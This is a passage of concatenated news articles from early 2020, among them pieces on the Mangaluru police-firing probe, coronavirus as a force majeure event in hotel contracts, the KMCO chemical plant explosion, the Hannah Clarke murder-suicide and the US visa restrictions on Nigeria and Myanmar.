the opposite of solving either serious challenge, said Graham Brookie, director of the Atlantic Councils Digital Forensic Research Lab. Sanders isnt the first Democratic presidential candidate to raise the possibility of a Russian attack on his campaign without any supporting evidence. In the summer of 2019, former 2020 candidate Sen. Kamala Harris responded to a question about the possibility of Russian disinformation personas attacking her campaign by saying Oh, we already know we are. Like Sanders, Harris wasnt able to produce any specific evidence of Russian involvement in the attacks. Read more at The Daily Beast. Get our top stories in your inbox every day. Sign up now! Daily Beast Membership: Beast Inside goes deeper on the stories that matter to you. Learn more. By PTI MANGALURU: Police officials including the Mangaluru city Commissioner of Police P S Harsha would be summoned to appear before the panel conducting a magisterial probe into December 19, 2019 firing on anti-CAA protesters in the city which left two people dead. Notices would be served on 176 police officers and staff to appear for a hearing, Udupi deputy commissioner G Jagadeesha, conducting the magisterial probe into the incident said here on Thursday. ALSO READ: Girl, who raised 'Pakistan zindabad' slogan at anti-CAA rally in Bengaluru, sent to judicial custody He told reporters that officials, including the city police commissioner Harsha, would be summoned to depose on the violence which led to police firing that killed two people. Mangaluru (North) Assistant Commissioner K U Belliappa, who is the nodal officer for the police department, has given a list of 176 policemen who are ready to adduce evidence in the hearing. The police officers would be summoned in phases. The next hearing is on February 25. He said so far, 203 members of the public have deposed before him on the incident. Former city Mayor K Ashraf, who is under treatment in hospital, has also provided a written statement. The remaining members of the public can provide evidence during next hearings, he said. On December 19, two people were killed in police firing as protests against the Citizenship Amendment Act (CAA) turned violent here. The protesters had attempted to besiege the Mangaluru north police station and tried to attack police personnel, following which force was used to disperse them, police had said. Two people received bullet injuries in the firing and they later succumbed at a hospital, the police had said. Chinese peacekeepers transport the injured during the rescue drill on Feb. 18, 2020. (eng.chinamil.com.cn/Photo by Peng Xi) By Sun Shuai and Huang Shifeng BEIRUT, Feb. 21 -- The Chinese peacekeeping contingent to Lebanon participated in an emergency rescue drill conducted by the United Nations Interim Force in Lebanon (UNIFIL) on February 18, the first involvement of the contingent in such an air rescue drill of UNIFIL. The drill, dubbed Green Mountain, was held in Naqourain of southern Lebanonwhere UNIFIL Headquarter is located. Personnel from 18 troop-contributing countries (TCCs), including China, France and Italy, participated in the drill. Among them, there were 18 medical personnel sent by the 18th Chinese peacekeeping contingent to Lebanon. The drill was based on the scenario of a patrolling UNIFIL helicopter accidental crash on the Lebanon-Israel temporary border, with casualties of 16 observers and four crew members on board. The drill aimed to test the emergency rescue and coordination support capabilities of the UNIFILs firefighting and medical forces. Chinese medical personnel successfully completed the evacuation of six wounded personnel. The rescue drill not only tested the capability of Chinese medical personnel to rescue and treat the wounded, but also strengthened their exchanges with the counterparts from other troop-contributing countries, said Li Junhui, deputy commander of the Chinese medical detachment and one of the evaluation officers for the drill. Coronavirus continues to be of global concern, and remains an issue the hospitality industry should be tracking, both for economic and legal reasons. Bob Braun discusses whether the virus may trigger a force majeure event for hotel operators and owners, and what that might mean for a propertys performance obligations and other operations. Coronavirus continues to be of global concern, and remains an issue the hospitality industry should be tracking, both for economic and legal reasons. Bob Braun discusses whether the virus may trigger a force majeure event for hotel operators and owners, and what that might mean for a propertys performance obligations and other operations. Jim Coronavirus as Force Majeure Event: What Hotel Owners and Operators Should Consider - By Robert Braun Coronavirus (COVID 19) has been a leading news item for more than a month now, competing and often pre-empting other national and international news items. For the hospitality industry, the virus has created severe disruptions in the largest single source of tourists. Hotel companies, both inside and outside of China, have warned of reductions in revenues, and as the virus continues to spread, the trend does not bode well. Like the SARS virus of 2002-2003, coronavirus has the potential to disrupt travel for months, and the travel industry will take time to recover. Performance Tests and More The most immediate effect will be seen by hotel companies when they review upcoming financial statements and see shortfalls. This could, among other things, cause some hotels to fail their performance obligations, giving owners the right to terminate a management agreement (unless the hotel operator exercised a right to cure the shortfall). At that point, hotel operators are likely to claim that the impact of the virus constitutes a force majeure event, which would require performance tests to change the performance obligations. For more details on performance tests, see our article on Hotel Management Agreement Performance Standards. But limiting the focus to financial performance terms would be a mistake force majeure clauses affect not only financial performance, but virtually every aspect of a managers duties management agreements typically provide that the managers performance shall be modified or suspended to the extent Manager shall be delayed or hindered in or prevented from the performance of any act required by reason of Force Majeure. If a force majeure exists, it could influence staffing, reporting, marketing, quality assurance, repairs and maintenance virtually every aspect of hotel operations. Understanding what constitutes a force majeure, and how to react, is essential for hotel owners. What is Force Majeure? Force majeure often falls into the category of I dont know what it is, but I know it when I see it. That said, almost every hotel management agreement includes a definition of force majeure, often along the following lines: Force Majeure shall mean any act of God, strikes, lockouts or other labor dispute, shortage of labor or materials, earthquake, hurricane, flood, fire or other casualty, taking, civil commotion, riot, mob violence, insurrection, malicious mischief, sabotage, rebellion, act of public enemy, act of terrorism, epidemic, invasion, embargo, governmental preemption in the case of national or local emergency security or health risk, suspension of governmental operations or other event beyond the reasonable control of the party claiming the benefit of the event, including acts of declared or undeclared war and acts of terrorism. Along with the definition of a force majeure event, hotel management agreements commonly include the following language: Managers performance under this Agreement shall be modified or suspended to the extent Manager shall be delayed or hindered in or prevented from the performance of any act required by reason of Force Majeure. As written, a hotel manager can recast its contractual obligations in the case of a force majeure. And when it comes to proving the existence of a force majeure, various governmental and quasi-governmental entities in China have issued force majeure certificates to Chinese companies, allowing the recipients to claim relief from contractual clauses that would otherwise lead to breach and penalties. Is Coronavirus a Force Majeure Event? Even in light of force majeure certificates and the inclusion of epidemic in the definition, hotel managers and owners should not assume that the coronavirus completely exonerates a managers performance. Hotel owners look to managers to reduce their risk, not ignore it. A force majeure is not an excuse for the affected party to take reasonable steps to avoid or mitigate the force majeure negative consequences. The goal should be for all parties to act with diligence and responsibility. Other Owner Concerns Hotel owners should also be aware of the broad impact of the coronavirus and a claim of force majeure. While the immediate focus may be on financial performance, a force majeure event can affect a broad level of hotel operations beyond occupancy. Consider the following: Disruptions in the supply chain can make it difficult to complete a property improvement plan or upgrade hotel operations. Owners enter into property improvement plans in order to maintain a hotels standing with its franchisor; owners may need to raise these issues with their franchisors to avoid a default. Restrictions on travel can impact not only guests, but also changes in personnel. If a hotel is relying on a new manager, financial officer, director of sales or other key executives, their arrival may be delayed. Operating costs can be affected. If the virus continues to spread, will it be necessary to provide basic protections (think face masks and hand sanitizer) to guests? Is a hotel prepared for a contagion? As recently as August 2019, the Sheraton Atlanta Hotel was forced to evacuate guests due to an outbreak of Legionnaires disease. Does the hotel have emergency procedures in place to deal with the need to isolate or evacuate guests? Does the hotel have crisis PR available to explain their story? Is the hotel taking steps to counter the loss of income from travelers coming from China and other areas with outbreaks of the virus? The Los Angeles Tourism Authority recently announced that it is directing funds to non-Chinese sources of tourism as a reaction to the sudden drop in Chinese tourism to Los Angeles. JMBM Can Help At this time, it is essential for hotel owners and managers to be proactive and prepare for the fallout from this and other events that can disrupt hotel operations. JMBMs Global Hospitality Group has, since its inception, worked with hotel owners and managers to address key management issues and to provide the many specialties that hotels need, and to plan for and respond to the unexpected. Bob Braun is a Senior Member of JMBMs Global Hospitality Group and is Co-Chair of the Firms Cybersecurity & Privacy Group. Bob has more than 20 years experience in representing hotel owners and developers in their contracts, relationships and disputes with hotel managers, licensors, franchisors and brands, and has negotiated hundreds of hotel management and franchise agreements. His practice includes experience with virtually every significant hotel brand and manager. Bob also advises clients on condo hotel securities issues and many transactional matters, including entity formation, financing, and joint ventures, and works with companies on their data technology, privacy and security matters. These include software licensing, cloud computing, e-commerce, data processing and outsourcing agreements for the hospitality industry. In addition, Bob is a frequent lecturer as an expert in technology, privacy and data security issues, and is one of only two attorneys in the 2015 listing of SuperLawyers to be recognized for expertise in Information Technology. Bob is on the Advisory Board of the Information Systems Security Association, Los Angeles chapter, and a member of the International Association of Privacy Professionals. Contact Bob Braun at 310.785.5331 or rbraun@jmbm.com. This is Jim Butler, author of www.HotelLawBlog.com and hotel lawyer, signing off. Please contact us if you would like to discuss any issues that affect your hotel interests or see how our experience might help you create value and avoid unnecessary pitfalls. Whos your hotel lawyer? Daily News Delivery Join your colleagues and stay up to date on the latest all industry news and trends. Subscribe 2022 Hospitality Trends British Airways on Thursday apologised to some of its Nigerian passengers over recent delays and diversions of flights occasioned by the inclement weather at the Murtala Muhammed International Airport (MMIA), Lagos. The airline said it regrets the inconveniences of varying degrees experienced by its passengers in these past few days. Some passengers had accused the airline of abandoning them in Accra, Ghana after their flight could not land in Lagos. But explaining the situation, BAs General Manager, West Africa, Kola Olayinka said, We would like to use this opportunity to tender an unreserved apology to our esteemed customers for the inconveniences of varying degrees, experienced these past few days. According to him, the situation has been a result of recent delays and diversions of flights occasioned by the inclement weather causing very poor visibility at the Lagos airport, coupled with a number of factors outside of our immediate control. He said, In these unique cases, the decision to delay or divert flights were made carefully by our pilots who are well trained to handle situations like this, especially in consideration of the safety and security of our passengers and crew. As a people-first airline, we ensured that our customers were properly accommodated in hotels where adequate rooms were available, meals, refreshments, and transport to and from the Airports were provided for their movement at the different Airports in Accra, Abuja, and Lagos. Regrettably, in this unique case, most hotels were taken up by passengers of airlines that were earlier diverted to Abuja. The direct result was the inadequacy of accommodation. To resolve this, we booked all 157 available rooms and accommodated 157 Passengers, we also ensured the safety of the remaining passengers by accommodating them in a dedicated area provided by Sheraton where we provided meals and drinks. On the diversion to Accra, Olayinka explained that the airline had to charter a flight to convey the passengers to Lagos but it was later learnt that some of the passengers had made personal arrangement to transport themselves. He said, The Accra incident was markedly unpredictable as the delay lingered for two days due to the persisting weather condition. We chartered a Boeing 767 from Euro Atlantic to convey passengers from Accra to Lagos. However a number of passengers had opted to make personal arrangements for their return. We regret the frustrations experienced and the disruptions it would have had on earlier-planned engagements of our esteemed customers. We would also like to use this opportunity to encourage passengers to send receipts of expenses incurred during this period to our customer relations team on standby to process the reimbursements and also attend to queries. Murdered mother-of-three Hannah Clarke told friends she was a 'survivor not a victim' in a gut-wrenching final Instagram post just days before her death. The Brisbane mum, 31, was burned alive along with her three children in a massacre which rocked Australia, after suffering years of emotional, sexual and financial abuse. Her estranged, abusive husband Rowan Charles Baxter set fire to the family car on Wednesday morning while Ms Clarke was taking the kids to school in Brisbane. Despite heroic attempts by passersby, their children Aaliyah, 6, Laianah, 4, and Trey, 3, all died at the scene. After finally breaking free from her evil husband, she said would 'never let anyone mistreat her again' and hoped her daughters would 'grow up being strong women'. Hannah Clarke (pictured with daughters Aaliyah and Laianah) made a final emotional post on Instagram after breaking free from her abusive husband In the heartbreaking final Instagram post, Ms Clarke said she wanted her daughters to 'grow up being strong women who understand their worth' Ms Clarke had suffered at the hands of her abusive husband for more than 10 years, before finally leaving him in November. Writing on social media during the new year period, she said: 'I am a strong woman. 'I don't sit around feeling sorry for myself nor will I ever let anyone mistreat me again. 'I don't respond people who dictate to me or try to bring me down. 'I am a survivor not a victim. 'I am in control of my life and there's nothing I can't achieve. 'My girls will grow up being strong women who understand their worth.' Hannah Clarke and her three children were torched in their car on Wednesday morning by Rowan Baxter (all pictured together) who stabbed himself to death at the scene in Camp Hill Aaliyah (left), 6, Laianah (right), 4, and Trey (centre), 3, were killed in a quadruple murder-suicide on Wednesday morning when their father set their car alight on their way to school The shocking murder-suicide that has left Australia reeling unfolded just metres from the home of Ms Clarke's parents on Raven Street, Camp Hill, as she drove her children to school Friends revealed Ms Clarke was the victim of years of emotional, financial and sexual abuse. On Friday morning, close friend Manja Whaley, who met the mum-of-three at a gym last year, said Baxter had even admitted threatening to kill his oldest child from a previous relationship. He also threatened to harm their children if she refused to have sex with him and wouldn't let her wear shorts to the gym in case she attracted other men. Ms Clarke was staying at her parents house in Camp Hill when she was ambushed by Baxter as she drove their three children to school. Left: Hannah Clarke pictured with her 'main man', son Trey in a beach snap. Right: Mrs Baxter on her wedding with her husband He dived into the car, doused them in petrol and set it ablaze, burning all four to death while stabbing himself in the chest until he died next to the car. The friend said Ms Clarke did not believe she was in a domestic violence relationship because she had never been hit. 'I work in domestic violence... so when she first confided in me we spoke about the violence and for such a long time she didn't believe she was in a domestic violence relationship,' Ms Whaley said. 'It hadn't crossed her mind, because as she said to me, her words, 'he didn't hit me'.' 'I then started unpacking with her the emotional abuse, sexual abuse, financial abuse, and she had experienced all of those. On Thursday morning dozens of family and friends visited the scene of the tragedy to pay tribute to Ms Clarke The Baxter children Laianah, four, and Aaliyah, six holding Trey, three 'And some of the things that she would explain was this excessive control of Rowan, the sexual abuse daily, and if she didn't have sex with him, he would punish not only her but also the children. 'She wouldn't be allowed to go to the gym which was not only her passion but her outlet. 'There was the checking of her accounts on Facebook, the accusations of her cheating, if she was having messages with males, even males he knew through the gym, he would accuse her of being flirtatious.' Ms Clarke's devastated parents Lloyd and Suzanne told Daily Mail Australia that although Baxter entered a downward spiral after she left him with the kids, he was always a menace. Hannah Clarke was desperate to save her babies even when covered in flames with her skin melting off They said Baxter was controlling and emotionally abusive from the start of their relationship 11 years ago - when their daughter was just 20 - and tried to isolate her from friends and family. 'We always had misgivings about him,' Mrs Clarke said as the couple stood next to a table with two framed photos of their daughter and her children either side of a bouquet of flowers. 'He was always controlling, he ruined her relationship with everyone, even tried to get her away from us.' Mourners pay their respects at a makeshift shrine near the scene. Mothers were seen kneeling by the flowers with children (pictured) in Camp Hill, Brisbane Baxter's New Years' Day post: The killer brought in the new year with this post of his children in the shallows. 'Goodnight ratbags always in my heart,' it was captioned 'We'd go down to the coast and if they turned up and saw us there, they would go to another beach.' Baxter breached a domestic violence order weeks before he committed the quadruple murder-suicide. He was due to face court again on April 8 after a magistrate ruled he was free to return home during his initial hearing on January 29. Less than a month later, he would commit his unimaginable act of evil. Manja Whaley shared this photo of Ms Clarke (centre in black next to her mother Suzanne) with her children and dog at the gym where she worked and ran a 'Mums and bubs' class. Bottom right is Manja Whaley with her children Mr Clarke said few people knew what a monster Baxter really was because he was able to convince everyone he was 'hard done by' and that he was the good guy. 'Rowan was very good at manipulating people into doing what he wanted, he could put the tears on in a pinch and make you feel sorry for him,' she said. Baxter, a New Zealand Warriors castoff, was occasionally allowed to see the children on weekends, but there was always tension, and even one assault, on drop offs and pickups. For 24/7 support for sexual assault, family and domestic violence, contact 1800RESPECT on 1800 737 732 For 24/7 confidential support, contact Lifeline on 13 11 14 WASHINGTON MILLS, N.Y. In February of 2019, a man was allegedly robbed and dragged across a Hannaford parking lot while purchasing a PlayStation from a seller he met on the LetGo app. Nicholas Beecher, of Chadwicks, ended up in the hospital after the incident with several injuries, including hematomas to the brain. Beecher says two men stole cash from him and grabbed his belt before they drove off, dragging him along with the vehicle. In June of 2019, police arrested 22-year-old Marquise Howard of Rome and charged him with robbery. Police say he was the passenger in the vehicle. Another suspect was arrested Wednesday in connection with the same incident. Police say after a lengthy investigation, they have arrested Joseph Smith, 24, of Utica, and charged him with first-degree robbery. Police say Beecher was meeting the two men for the exchange at the Washington Mills Hannaford around 7 p.m. on Feb. 15, 2019. When Beecher approached the vehicle with $140 in cash, Howard grabbed the money out of his hand, and then held on to his belt while Smith attempted to drive away. Beecher was dragged until Howard let go. Smith was taken into custody during a traffic stop in Utica on an active warrant stemming from this investigation. He was arraigned in Oneida County Court. When word spread there was a leak of a highly flammable chemical on the morning of April 2 at the KMCO Crosby plant, several workers sprang into action. James Earl Bubba Mangum, 27, strapped on an air tank and mask before heading out of the explosion-proof control room. Nick Justus, 34, was heard on the radio, Stay out of Reactor 2 area, warning his co-workers to get to the safety of the control room. He then left a conference room and headed out to turn on the fire monitor at one of the tanks and turn off the boilers. Joe Peralez, 25, put on his gear and was on his way to meet a process operator to check out the reactor area where the leak of isobutylene was originating. Just before 10:46 a.m., there was a loud pop followed by a whooshing noise like an air hose coming off. The leak, which had begun small, quickly expanded into a large white vapor cloud moving throughout the plant. A few minutes later, workers heard a loud boom, followed by several smaller explosions. Mangum was found dead near Gate 4 on Ramsey Road, with the air tank partially on his back, still strapped to his waist, according to a report by the Harris County Fire Marshals Office provided to the Houston Chronicle this week. He died as a result of a cut to the inside of his right upper arm, the medical examiner determined, possibly from a sharp object that went through his arm. Perales and Justus suffered second- and third-degree burns to the face, arms, legs, chest, abdomen and back, investigators said. The report confirms preliminary findings by the federal Chemical Safety Board , which identified a Y strainer used as part of a mixing process that included isobutylene as the piece of equipment that failed. The Harris County Fire Marshals Office didnt say what caused the isobutylene to ignite, but investigators concluded there were no signs of foul play or of malicious intent. The Harris County Fire Marshals report confirms the previous findings of both the U.S. Occupational Safety and Health Administration and the U.S. Chemical Safety Board: The tragic incident that struck our Crosby facility last April was an accident and resulted from the sudden failure of cast iron material in a flow line, the company said in a written statement. The company said all KMCO employees were deeply affected by the accident and its aftermath. While the most impacted portions of our Crosby facility remain idled today, we have no higher priority than to assure that our processes meet strict industry and government safety standards and that we ensure the safety and well-being of our employees, contractors and the community at every stage of our ramp of operations, according to the statement. KMCO said a third-party inspector had examined that same piping circuit a few months prior to the incident and determined that the line was fit for continued service. The next inspection had been set for October 2023. The KMCO incident was the third chemical fire in the Houston area in as many weeks last spring, starting with one at Exxon Mobil on March 16 and at the Intercontinental Terminals Co. in Deer Park the following day. While no injuries were reported, the Exxon Mobil facility in Baytown emitted large amounts of pollution long after the fire was out. Fire fighters battled the ITC fire for days, which released a large plume of smoke visible for miles, leading to several shelter-in-place orders and the temporary closure of the Houston Ship Channel. The explosion at KMCO, captured by the shaking of surveillance cameras, was so powerful it obliterated the buildings entrance. One emergency responder described it to federal investigators as shrapnel. There was nothing left of it. Wire, there was nothing there. There wasnt a building there anymore. More than 200 KMCO employees, contract workers and visitors were on-site the day of the incident. Thirty of them were injured, 23 of them contractors. A five-hour shelter in place was issued for the community within one mile of the facility. On the morning of the explosion, workers were making a batch of sulfurized isobutylene. KMCO produces coolant and brake-fluid products for the auto industry and chemicals for the oil field industry. It uses the highly flammable gas in liquid form. Workers described to fire marshals investigators learning about a leak and how they helped others to safety or tried to help stop the leak and shut everything down. A contractor reported that he was on-site unloading city water when he was told there was a chemical reaction and he needed to leave. He went to one gate, but it was locked; then he heard a boom, and went to a second gate that was raised for workers to crawl under. When he looked back, he saw a large fireball. His description matches that of another contractor who is suing the company for negligence. Its one of more than a dozen lawsuits, including one by Harris County and the state. A health safety environmental manager told investigators he saw someone he thought it was Perales pulling a hoisting device to one of the elevated water monitors. He noticed a vapor cloud around the reaction area and then the man engulfed in flames. A couple of the workers helped Perales and Justus until the paramedics arrived. Both men were airlifted in critical condition. A hospital nurse told a fire marshals investigator two weeks after the fire that Justus faced a long recovery. He had just had surgery on both hands and remained intubated. Both workers have since been released from the hospital. Several federal and state investigations remain pending. The Chemical Safety Board is also looking into what caused the vapor cloud to ignite and what set off the explosion, which is expected to be part of its final report, along with its recommendations. perla.trevizo@chron.com Sorrow and outrage is spreading across some immigrant communities as Trumps travel ban goes into effect. After nearly a dozen years moving through the United States visa system, Sai Kyaws brother and sister and their families were at the finish line: a final interview before they could leave Myanmar to join him in Massachusetts and work at his restaurant. Then a dramatic turn in US immigration policy halted their plans. The interview was postponed, and it is not clear when, or whether, it will be rescheduled. Its terrible, Kyaw said. Theres nothing we can really do except pray. Theyve been waiting 12 years. If they have to wait another 12 years, they will. His is just one of many stories of confusion, sorrow and outrage spreading across some immigrant communities after the announcement of a Trump administration policy that is expected to all but shut down family-based immigration from Myanmar, also known as Burma, as well as Nigeria, Kyrgyzstan and Eritrea. The policy also restricts visas from Sudan and Tanzania. Theres a panic wave going through the community, said Grace Mobosi-Enwensi, president of the Minnesota Institute for Nigerian Development, a nonprofit group. In signing a proclamation last month that takes effect on Friday, President Donald Trump said those countries failed to meet minimum security standards. It was his latest crackdown on his signature issue of immigration. Calls about the restrictions have flooded legal advocacy groups and lawyers offices. A Boston-area Burmese church is trying to intervene to help congregants. The United African Organization has held legal clinics in Chicago to walk people through their options. The rules are certain to face legal challenges, but in the meantime, activists have organised around #MuslimBan and #AfricaBan on social media and ramped up lobbying efforts to press Congress to pass the No Ban Act, which would limit the presidents ability to restrict entry to the US. Representative Ilhan Omar stands in front of NO BAN ACT posters during a news conference by members of the US Congress in Washington, US [File: Jim Bourg/Reuters] Roughly 10,000 people received immigration-based visas from Nigeria, Eritrea, Kyrgyzstan and Myanmar in the 2018 fiscal year, according to federal data analysed by the nonpartisan Migration Policy Institute. More than half were from Nigeria, the most populous African nation. The ripple of emotion has been felt strongest among Americas roughly 380,000 Nigerian immigrants and their children. They are one of the most educated immigrant groups. More than 60 percent of people with Nigerian ancestry who are at least 25 have a bachelors degree or higher, which is more than twice the general US population rate of 29 percent, according to 2017 census data. Tope Aladele, who is seeking a visa for his wife in Nigeria, has faint hope that she will be able to come to the US. I thought this year I could at least celebrate Christmas with her, said Aladele, a US citizen who works as a nursing assistant in the Chicago area. Im just hoping and praying. Citizenship and Immigration Services officials declined to comment on the concerns of affected families, deferring to the Department of Homeland Security. Agency officials did not respond to emails seeking comment. Unlike previous travel bans, the new rules are narrower. They stop immigrant visas from Nigeria, Eritrea, Myanmar and Kyrgystan, covering people who want to live in the US permanently and are sponsored by family members or employers. They also eliminate participation in a visa lottery programme in which a computer randomly selects up to 55,000 people for visas from underrepresented countries. Sudan and Tanzania will also be barred from the lottery. The ban does not affect immigrants travelling to the US for a temporary stay, including tourists and students, or immigrants already in the US. There are also exceptions, including dual citizenship holders. In Chicago, the United African Organization hosted dozens of people at legal clinics. Many had questions about their spouses and children. One was Osemeh Otoboh, 46, a Nigerian citizen with a green card who has applied for two of his teenage children from a previous marriage to come to the US. Though their visas were recently approved, the suburban Chicago man married to a US citizen was worried. His children live in Lagos, and he wants them to pursue an education in the US. I dont even know how to explain it to them, Otoboh said of the restrictions. Experts have questioned the administrations national security reasoning since there are no restrictions on tourist or student visas, which can take less time and vetting to acquire. Officials in at least one country, Nigeria, have said they are working to address security concerns, such as information sharing. Activists said the restrictions amount to another travel ban like the one that was widely decried as targeting Muslims. The Supreme Court upheld that ban as lawful in 2018. It restricted travel from several Muslim-majority countries including Iran, Somalia and Syria. Sudan and Kyrgyzstan are also majority-Muslim countries. Nigeria, the worlds seventh-most populous nation, has a large Muslim population too. Its a continuation of this administrations racist and xenophobic immigration framework that they use, said Mustafa Jumale, a policy manager for the Black Alliance for Just Immigration. People protest outside of the US Supreme Court after President Trumps travel ban was upheld by the Supreme Court in Washington, DC [Leah Millis/Reuters] Muslim Advocates, along with other civil rights organisations in the US, said in a statement issued on Thursday that more than 25 percent of African would be barred from entering the US. America is a nation where people of all races and religions are entitled to equal protection under the law, yet the expanded Muslim Ban is another attack on the rights, the dignity and the identity of Black communities, the group said in a statement. [M]ore Black families will needlessly suffer from a policy with no legitimate justification, according to the statement. Some churches have also sprung into action. At the Overseas Burmese Christian Fellowship in Boston, Pastor Clifford Maung says he has relayed the concerns of two families in his congregation to national Baptist church leaders and is prepared to appeal to the US government on their behalf. You hope for the best. We grew up under a similar situation in Burma with an oppressive government so this is something we are used to, he said. But it shouldnt happen in America. Maung says one of those affected is his cousin, whose wife has already been approved for a visa and is awaiting medical clearance, which was supposed to come as soon as this week. Another affected family is that of STha Sein, who arrived with his wife and youngest daughter in December. The 53-year-old Sein says his eldest daughter was also approved for a visa but tested positive for tuberculosis and was not allowed to travel with them. The 21-year-old college student is slated to be reevaluated next month after receiving treatment, but Sein says the new restrictions throw uncertainty into the prolonged immigration process, which the family began in 2006. Weve been praying that this law will change, Sein said after attending church services this past Sunday with his family, siblings and elderly parents. We just want to be able to live together. By Geoffrey Smith Investing.com -- Either the oil and gas sector is either on the verge of disaster, or a buying opportunity has opened up. For obvious reasons, oil and gas-related stocks tend to track the price of crude oil, although the degree of correlation varies according to sector and to region. But the combination of coronavirus, trade wars, the OPEC-Russia alliance and Climate Change appear to have broken that link, at least in the short term. The price for Brent crude which admittedly tends to be more volatile than aggregate share prices has rebounded over 10% from its Feb. 10 bottom of $53.11 a barrel, but you really wouldnt guess it from looking at the stock market. Almost all of Europes majors Royal Dutch Shell (LON:RDSa), BP (LON:BP), Total (PA:TOTF), ENI (MI:ENI) and Repsol (MC:REP) are trading below where they were on the day that Brent troughed. Norways Equinor (OL:EQNR) is the sole exception, and even that is only 2.2% above its low. Why, when the oil market is doing its best to look through the short-term impact of Covid-19, is the stock market failing to do the same? It can be argued that OPECs inability to agree deeper production cuts with Russia has hit western majors particularly hard, given that the resulting lower-for-longer crude scenario turns profitable projects into marginal ones and requires higher risk premiums from equity investors. The coronavirus has also hit some harder than others. Shell (LON:RDSa), for one, has suffered particularly badly from the disruption to the LNG market as Chinese buyers have invoked refused to take delivery of contracted cargoes, forcing the worlds most expensive gas to be dumped elsewhere in Asia at firesale prices. Shell (LON:RDSa) is the worlds largest LNG supplier and also the worst-performing of the majors this year, down 15%. Of the other big LNG players, Total is down 9.6%, Repsol (MC:REP) 13% and Equinor 9.6%. Only BP (LON:BP) has escaped relatively lightly with a 2.7% drop. Story continues But neither OPEC nor coronavirus can explain why Shell (LON:RDSa), Equinor, Eni and Total are all at or near their lowest in three-and-a-half years with no sign of a bounce in sight. The explanation for that lies most likely in a long-term structural shift away from fossil fuel companies flagged last month by Blackrocks Larry Fink in a letter that warned of a fundamental reshaping of finance to reflect concerns about Climate Change. Its no accident that low-carbon energy companies, which for years were also chained to oil prices because they were the marginal technology, have emphatically broken that link this year, at the same time as hydrocarbon giants have floundered. Hydrocarbon producers may be due a bounce if crude prices can hold at their current level, which is still in the ball park of what they need to cover capex and dividends. The rich valuations of 'greener' stocks may even provide a nice arbitrage opportunity short-term. But Fink's warning will still be valid when the last coronavirus patient has recovered, Related Articles European shares fall as investors stay wary of virus impact Vietnam reports supply chain issues from virus, says may hit Samsung output Coronavirus on G20 agenda as China reports uptick in cases South Africa: Cop, businessman killers handed heavy sentences Police Minister Bheki Cele and national Hawks head Lieutenant General Godfrey Lebeya have commended the hefty sentences handed to three men convicted in the murder of a police officer and a businessman. This comes after the South Gauteng High Court on Thursday handed Halalisani Eugene Gumede (30), Lungisane Gamelihle Madlala (27) and Ntuthuko Mseleku (30) six life sentences plus 604 years imprisonment for various serious crimes. Earlier, the three were found guilty of murder, attempted murder, armed robberies, and possession of unlicensed firearms, defeating and obstruction of justice. The trios reign of terror started in August 2016 when they attacked and robbed a business in Palm Ridge, east of Johannesburg, said Brigadier Mathapelo Peters, Celes spokesperson, in a joint statement. The owner of the business, Mbakwa Ephraim Mdaka (50) was contacted and on his arrival, he was unmercifully shot and immediately succumbed to the injuries. The three then took the deceaseds firearm and an undisclosed amount of money before ransacking the tavern. As they drove away, the local armed response security officials who were also ascending to the crime scene, were confronted by Gumede, Mseleku and Madlala who overpowered them and took their firearms as they sped off, said the police. Off-duty Ekurhuleni Metropolitan Police Constable Sabelo Welcome Ngwenya (40), who heard the commotion rushed to the scene and immediately put himself on duty and chased after the accused vehicle. Unbeknown to Ngwenya, the suspects were using two vehicles. He managed to corner one of the vehicles which had Gumede and Madlala inside. They, Gumede and Madlala, lost control of their vehicle and crashed into a tree forcing their vehicle to stop not far from the crime scene, the police said. While Constable Ngwenya was arresting the accused, Mseleku driving a black Toyota RunX, shot and killed Constable Ngwenya on the upper body and took off with his two accomplices. A search for the suspects by the Hawks Serious Organised Crime Investigation and Ekurhuleni Metropolitan Police began. A week later Gumede and Madlala were intercepted in Brakpan while they were driving to KwaZulu-Natal. During the search of their vehicle, police found five pistols and a revolver in the boot, the police said. The following day the investigation team followed up on intelligence information which led them to Rustenburg, North West where they arrested Mseleku at a local hotel. Peters said further investigations revealed that the trios immense criminal activities included armed attacks on innocent victims where they forcibly removed and stole wedding rings, watches and cash. Many civilians also felt the brunt of the cruelty when they were attacked at shopping centres, township taverns and if they resisted they were then severely assaulted and shot at, she said. Lebeya in the statement welcomed the sentences. He said: Although the heinous crimes and the loss of the lives cannot be reversed, the sentences demonstrate that justice is not only done but it is clearly seen to be done. I commend the investigation and prosecuting team that have, for five years, worked on these cases. Cele said the sentences will serve as endorsement to the new approach to ensuring justice through enhanced relations between the SAPS and NPA. An attack on the police is an attack on the State. Anyone who is hellbent on undermining the authority of the State deserves to rot in jail, said the Minister, commending the investigators for the quality investigation. The Minister added the police will continue to work towards ensuring the safety and security of citizens. SAnews.gov.za This story has been published on: 2020-02-21. To contact the author, please use the contact details within the article. Source: Xinhua| 2020-02-21 07:24:24|Editor: huaxia Video Player Close UNITED NATIONS, Feb. 20 (Xinhua) -- The UN envoy for Haiti on Thursday urged the Haitian leaders to break the political impasse that has "paralyzed the functioning of Haitian institutions." Helen Ruth Meagher La Lime, the UN secretary-general's special representative for Haiti, told the Security Council that since July 2018, the political impasse has paralyzed the functioning of Haitian institutions, grieved the country's economy, and fuel continued insecurity. In July 2018, Haiti's then Prime Minister Jack Guy Lafontant resigned following deadly violence and looting sparked by a plan to raise fuel prices. As Haiti is about to enter its second year for the caretaker government, La Lime, briefing the council by video from Port-au-Prince, said the country's economy is forecast to sink deeper into recession, and 4.6 million of its citizens are now estimated to require humanitarian assistance. Despite some progress made during two rounds of talks since December 2019, she said "political actors have yet to settle on a formula that would lead to the designation by President (Jovenel) Moise of a consensual prime minister and the formation of a new government." She warned that the effects of the strained economy and the prolonged political polarization were further affecting the integrity and the effectiveness of key Haitian institutions, including national police. Speaking of the progress at the negotiations, she said a consensus has emerged "on the contours of a political agreement" surrounding four elements: the criteria for the formation of a government, the contents of a reform agenda, the sequencing of a constitutional reform process, and the definition of an electoral calendar. In October 2019, the UN ended its 15-year-long peacekeeping and justice mission (MINUJUSTH) in Haiti and retained a smaller political mission (BINUH) in the Caribbean country. BINUH's mandate includes advising the government on issues related to promoting and strengthening political stability and good governance, the rule of law, an inclusive inter-Haitian national dialogue, and protecting and promoting human rights. La Lime, who heads BINUH, said the deployment of the new mission in October opened a new chapter in the relation between Haiti and the UN, "one premised on a deeper, more targeted collaboration." She voiced confidence that the UN is "uniquely placed" to help Haitian state institutions address the factors that catalyze instability and ensure that the country is on the path to stability and sustainable development. A midshipman at the US Naval Academy has been found dead inside one of the campus' residential halls - becoming the 